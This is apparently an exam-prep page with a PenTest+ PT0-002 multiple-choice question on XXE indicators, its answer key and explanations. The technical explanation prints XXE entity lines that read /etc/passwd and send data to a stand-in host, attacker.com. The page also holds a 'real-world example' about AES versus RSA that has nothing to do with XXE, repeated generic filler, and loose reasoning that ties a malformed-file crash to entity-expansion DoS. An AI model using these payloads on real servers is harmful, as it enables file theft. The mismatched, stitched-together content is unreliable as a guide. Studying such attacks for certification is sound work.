The correct answer is that an application crashing when processing a malformed XML file is a key indicator of an XXE vulnerability, along with the ability to exfiltrate sensitive files via out-of-band HTTP requests. This is because XXE attacks exploit the XML parser’s default behavior of processing external entities; when an attacker defines an entity that references a local file like /etc/passwd, the server can be tricked into sending that file’s content to an attacker-controlled server through an HTTP request. On the CompTIA PenTest+ PT0-002 exam, this tests your ability to recognize both error-based and blind exfiltration signals—crashes often reveal parser misconfiguration, while out-of-band traffic confirms data theft. A common trap is focusing only on visible output, but remember that silent data leakage via DNS or HTTP is equally telling. For a memory tip, think “Crash and Leak”: a crash points to parser weakness, and a leak confirms entity expansion.
PT0-002 Attacks and Exploits Practice Question
This PT0-002 practice question tests your understanding of attacks and exploits. Read the scenario carefully and evaluate each option against the stated constraints before committing to an answer. After answering, compare your reasoning against the explanation and wrong-answer breakdown below. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.
Which TWO of the following are indicators that a web application is vulnerable to XML External Entity (XXE) attacks? (Select TWO.)
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Exfiltration of files via HTTP requests to an attacker-controlled server
Option C is correct because XXE attacks allow an attacker to define an external entity that references a local file (e.g., file:///etc/passwd) and then have that entity's content included in an HTTP request to an attacker-controlled server. This exfiltration via out-of-band HTTP requests is a classic indicator of a successful XXE exploitation, as the attacker can read sensitive files from the server's filesystem.
Key principle: Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
✗
Directory traversal in file upload functionality
Why it's wrong here
Directory traversal is path manipulation, not XXE.
✗
Persistent cross-site scripting in user profiles
Why it's wrong here
XSS is a client-side attack, not related to XXE.
✓
Exfiltration of files via HTTP requests to an attacker-controlled server
Why this is correct
XXE can use external entities to send files to attacker.
Related concept
Read the scenario before looking for a memorised answer.
✓
Application crashes when processing a malformed XML file
Why this is correct
DoS via entity expansion is a common XXE impact.
Related concept
Read the scenario before looking for a memorised answer.
✗
Successful UNION-based SQL injection
Why it's wrong here
SQLi is database attack, not XXE.
Common exam traps
Common exam trap: answer the scenario, not the keyword
CompTIA often tests the distinction between direct indicators of XXE (like file exfiltration via HTTP and parser crashes) and other common web vulnerabilities, so candidates mistakenly select directory traversal or SQL injection because they associate 'file reading' or 'data extraction' with XXE without recognizing the specific XML parser behavior.
Detailed technical explanation
How to think about this question
XXE attacks exploit the XML parser's ability to resolve external entities defined in a DOCTYPE declaration, such as <!ENTITY xxe SYSTEM 'file:///etc/passwd'>. When the parser processes the XML, it substitutes the entity reference with the file content, which can then be sent to an attacker via an out-of-band channel like HTTP (e.g., using <!ENTITY xxe SYSTEM 'http://attacker.com/steal?data=...'>). In real-world scenarios, even if the application does not directly echo the entity value, blind XXE techniques using error messages or out-of-band exfiltration can still leak data.
KKey Concepts to Remember
Read the scenario before looking for a memorised answer.
Find the constraint that changes the correct option.
Eliminate answers that are true in general but not in this case.
TExam Day Tips
→Watch for words such as best, first, most likely and least administrative effort.
→Review why wrong options are wrong, not only why the correct option is correct.
Key takeaway
Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Real-world example
How this comes up in practice
A developer is choosing between AES-256 (symmetric) and RSA-2048 (asymmetric) for encrypting a large file that will be sent to a partner. Symmetric encryption is fast but requires key exchange; asymmetric is slower but solves the key distribution problem. A hybrid approach — encrypt the file with AES, encrypt the AES key with RSA — is standard. Questions like this test whether you understand when each approach applies.
Related glossary terms
Concepts from this question explained
These glossary pages explain the core terms tested in this PT0-002 question in full detail.
Attacks and Exploits — This question tests Attacks and Exploits — Read the scenario before looking for a memorised answer..
What is the correct answer to this question?
The correct answer is: Exfiltration of files via HTTP requests to an attacker-controlled server — Option C is correct because XXE attacks allow an attacker to define an external entity that references a local file (e.g., file:///etc/passwd) and then have that entity's content included in an HTTP request to an attacker-controlled server. This exfiltration via out-of-band HTTP requests is a classic indicator of a successful XXE exploitation, as the attacker can read sensitive files from the server's filesystem.
What should I do if I get this PT0-002 question wrong?
Identify which exam domain this question belongs to, review the core concept, then practise similar questions from the same domain.
What is the key concept behind this question?
Read the scenario before looking for a memorised answer.
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Question Discussion
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